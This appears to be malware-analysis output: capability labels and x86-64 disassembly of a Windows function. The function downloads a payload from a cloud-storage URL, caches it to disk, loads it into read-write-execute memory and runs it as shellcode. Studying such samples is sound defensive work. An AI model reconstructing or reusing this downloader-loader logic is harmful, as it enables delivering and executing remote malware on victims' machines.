Function at 0x140001480
Capabilities:
Allocate or change rwx memory
Create http request
Download and write a file
Execute shellcode via indirect call
Get file size
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rdi
push r13
sub rsp, 0x78
xor edi, edi
lea rcx, str.Download_Example
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
test rax, rax
jne 0x1400014ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x78
pop r13
pop rdi
ret
lea rdx, str.https:__231227txt.oss_cn_hongkong.aliyuncs.com_1.ini
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x98], rbp
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x140001508
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbp, qword [rsp + 0x98]
add rsp, 0x78
pop r13
pop rdi
ret
lea rcx, [rsp + 0x48]
mov edx, 0x1000
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
call fcn.140001740
mov qword [rsp + 0x30], rdi
lea rcx, str.cachedFile.txt
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x14000159c
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test rcx, rcx
je 0x140001595
call fcn.140002300
mov eax, ebx
jmp 0x140001716
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rsi
mov rsi, qword [rsp + 0x48]
sub ebx, esi
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x40], edi
nop dword [rax + rax]
lea r9, [rsp + 0x40]
mov r8d, ebx
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400015f6
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x1400015fc
xor r9d, r9d
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], edi
ja 0x1400015c0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, str.cachedFile.txt
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400016db
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea rcx, [rsp + 0x48]
mov edx, eax
mov ebx, eax
call fcn.140001740
mov qword [rsp + 0x20], rdi
mov rdi, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov rdx, rdi
mov r8d, ebx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400016d2
mov r12, qword [rsp + 0x50]
mov r9d, 0x40
mov r8d, 0x1000
sub r12, rdi
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1400016d2
mov r8, r12
mov rdx, rdi
mov rcx, rax
call fcn.140001dc0
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14, qword [rsp + 0x70]
test rdi, rdi
je 0x1400016ff
mov rcx, rdi
call fcn.140002300
test rsi, rsi
je 0x14000170c
mov rcx, rsi
call fcn.140002300
mov rsi, qword [rsp + 0xa0]
xor eax, eax
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0x98]
add rsp, 0x78
pop r13
pop rdi
ret